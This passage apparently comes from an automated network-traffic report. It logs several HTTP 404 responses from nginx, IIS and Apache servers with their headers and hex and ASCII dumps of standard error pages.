64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 06 Nov 2024 14:24:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 06 Nov 2024 14:24:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=3b8edfd9c8ce9958164d7d39782e35; Path=/; HttpOnly; SameSite=LaxDate: Wed, 06 Nov 2024 14:25:28 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=3b91dfd9c8ce9958164d7d39782e35; Path=/; HttpOnly; SameSite=LaxDate: Wed, 06 Nov 2024 14:25:30 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=3b93dfd9c8ce9958164d7d39782e35; Path=/; HttpOnly; SameSite=LaxDate: Wed, 06 Nov 2024 14:25:33 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=3b92dfd9c8ce998996097d39782e35; Path=/; HttpOnly; SameSite=LaxDate: Wed, 06 Nov 2024 14:25:35 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 14:25:44 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE 